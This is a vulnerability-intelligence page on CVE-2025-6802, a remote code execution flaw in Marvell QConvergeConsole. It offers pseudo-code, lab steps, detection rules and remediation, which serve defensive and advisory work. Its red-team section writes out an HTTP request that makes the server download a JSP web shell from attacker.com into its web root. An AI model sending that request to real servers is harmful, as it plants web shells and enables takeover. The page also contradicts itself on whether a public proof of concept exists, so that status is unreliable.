☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-6802

CVE-2025-6802 Remote Code Execution in Marvell
📅 PUBLISHED: 2025-07-07 14:51 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 7.70%
👁️
7.70% probability
192.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-6802 is a critical, unauthenticated remote code execution vulnerability in Marvell QConvergeConsole. The flaw resides in the getFileFromURL method, which lacks proper validation of user-supplied data, allowing an attacker to upload arbitrary files to the server. Successful exploitation enables an attacker to execute arbitrary code in the context of the SYSTEM user, leading to full system compromise. With a CVSS score of 9.8, this vulnerability is considered critical and requires immediate attention. No patch is currently available, and no public proof-of-concept (PoC) code has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The threat level is critical due to the lack of authentication required, low attack complexity, and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the getFileFromURL method of Marvell QConvergeConsole. This method is designed to fetch a file from a given URL. However, it fails to properly validate the user-supplied data, specifically the URL or the file content. An attacker can craft a request that causes the application to download and save an arbitrary file (e.g., a web shell) to a location within the web root or a directory where it can be executed.

The core issue is a lack of input validation and path traversal checks. The application does not verify that the downloaded file is of an allowed type or that the destination path is within a safe directory. This allows an attacker to upload a malicious executable or script file, which can then be triggered to execute arbitrary code with SYSTEM privileges.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code likely resembles the following pseudo-code:

# Vulnerable pseudo-code
def getFileFromURL(url, destination):
    # No validation of URL or destination
    response = requests.get(url)
    with open(destination, 'wb') as f:
        f.write(response.content)

A patched version would include:

# Patched pseudo-code
def getFileFromURL(url, destination):
    # Validate URL scheme and domain
    if not url.startswith('https://trusted-domain.com/'):
        raise ValueError("Invalid URL")
    # Validate destination path
    if not destination.startswith('/safe/directory/'):
        raise ValueError("Invalid destination")
    # Validate file extension
    if not destination.endswith('.txt'):
        raise ValueError("Invalid file type")
    response = requests.get(url)
    with open(destination, 'wb') as f:
        f.write(response.content)

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy a vulnerable instance of Marvell QConvergeConsole in a lab environment.
  2. Craft Payload: Create a malicious web shell (e.g., a JSP file) that executes system commands.
  3. Host Payload: Host the web shell on an attacker-controlled server.
  4. Exploit: Send a crafted request to the getFileFromURL endpoint with the URL pointing to the malicious file and the destination path set to the web root (e.g., C:\Program Files\Marvell\QConvergeConsole\webapps\ROOT\shell.jsp).
  5. Execute: Access the uploaded web shell via a web browser to execute arbitrary commands with SYSTEM privileges.

Example request:

POST /api/getFileFromURL HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://attacker.com/shell.jsp",
  "destination": "C:\\Program Files\\Marvell\\QConvergeConsole\\webapps\\ROOT\\shell.jsp"
}

Blue Team

  1. Monitor: Monitor for unusual outbound HTTP requests from the QConvergeConsole server, especially to unknown or suspicious domains.
  2. Detect: Look for file creation events in the web root directory that are not part of normal operations.
  3. Analyze: Review logs for the getFileFromURL method to identify any requests with suspicious URLs or destination paths.
  4. Contain: If exploitation is detected, isolate the affected server immediately and block outbound connections from the QConvergeConsole service.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to unknown IPs/domains from the QConvergeConsole server.
    • Inbound requests to the /api/getFileFromURL endpoint with JSON payloads containing url and destination fields.
  • File System:
    • Unexpected files in the web root directory (e.g., .jsp, .asp, .php files).
    • Files with suspicious names or timestamps in the QConvergeConsole installation directory.
  • Process:
    • Unusual child processes spawned by the QConvergeConsole service (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule CVE_2025_6802_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-6802 via suspicious file uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6802"
    strings:
        $s1 = "getFileFromURL" ascii wide nocase
        $s2 = "destination" ascii wide nocase
        $s3 = ".jsp" ascii wide nocase
        $s4 = ".asp" ascii wide nocase
        $s5 = ".php" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-6802 - Unrestricted File Upload via getFileFromURL
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-6802 by monitoring for suspicious file uploads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6802
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\javaw.exe'
        CommandLine|contains: 'getFileFromURL'
    condition: selection
falsepositives:
    - Legitimate administrative use
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6802 - Suspicious Outbound Request from QConvergeConsole"; flow:to_server; content:"getFileFromURL"; http_uri; nocase; content:"destination"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: If possible, disable the getFileFromURL functionality or restrict access to it via firewall rules or application-level access controls.
  2. Network Segmentation: Isolate the QConvergeConsole server from the internet and limit outbound connections to only trusted domains.
  3. Input Validation: Implement strict input validation for the url and destination parameters, including whitelisting allowed URL schemes, domains, and destination paths.
  4. File Type Restrictions: Restrict the types of files that can be uploaded to only safe, non-executable formats.
  5. Monitor: Continuously monitor for exploitation attempts using the provided detection rules.
  6. Patch: Apply any official patch from Marvell as soon as it becomes available.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Marvell QConvergeConsole
QConvergeConsole

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-6802/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.